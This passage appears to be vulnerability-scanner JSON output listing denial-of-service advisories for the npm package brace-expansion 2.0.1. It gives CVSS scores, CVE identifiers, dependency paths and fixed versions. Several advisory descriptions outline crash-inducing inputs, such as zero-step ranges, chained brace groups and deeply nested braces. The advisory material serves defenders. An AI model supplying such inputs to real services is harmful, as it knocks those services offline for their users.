"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
